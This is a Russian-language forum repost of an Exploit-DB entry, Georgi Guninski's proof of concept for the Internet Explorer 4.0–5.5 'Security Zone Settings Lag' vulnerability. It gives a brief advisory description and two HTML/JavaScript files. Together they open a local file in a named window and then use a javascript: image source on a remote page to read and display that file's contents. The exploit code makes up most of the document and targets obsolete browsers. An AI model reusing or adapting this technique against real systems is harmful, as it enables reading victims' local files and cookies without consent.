Exploit Microsoft Internet Explorer 4.0/4.0.1/5.0/5.0.1/5.5 - preview Security Zone Settings Lag

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19719
Проверка EDB
  1. Пройдено
Автор
GEORGI GUNINSKI
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2000-0156 cve-2000-0061
Дата публикации
2000-01-07
Microsoft Internet Explorer 4.0/4.0.1/5.0/5.0.1/5.5 - preview Security Zone Settings Lag
Код:
Microsoft Internet Explorer 4.0 for Windows 3.1/Windows 95,Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.5 preview,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0,Internet Explorer 5.0.1 Security Zone Settings Lag Vulnerability

source: https://www.securityfocus.com/bid/923/info

When a new document is loaded into an IE window, IE will not update the Security Zone settings for that window until the new document is completely loaded. This means that if a local document is loaded, and then a large remote document is loaded that has JavaScript at the very beginning, the JavaScript may load and execute before the Security Zone settings are updated. This could lead to remote and untrusted JavaScript running as local trusted code, with full access to local files, cookies, etc.


-----------------img2main.html---------------------------------------
<A HREF="img2.html" TARGET="victim">link</A>
<SCRIPT>
alert("Create a short text file C:\\test.txt and it will be read and shown in a message box");
a=window.open("file://c:/test.txt","victim");
setTimeout("document.links[0].click()",2000);
</SCRIPT>
---------------------------------------------------------------------

----------------img2.html--------------------------------------------
<HTML>
<IMG SRC="javascript:a=window.open('javascript:alert(\'Here is your file: \'+opener.document.body.innerText)');alert('Just an alert, but is necessary. Wait a little.')">
</HTML>
---------------------------------------------------------------------
 
Источник
www.exploit-db.com

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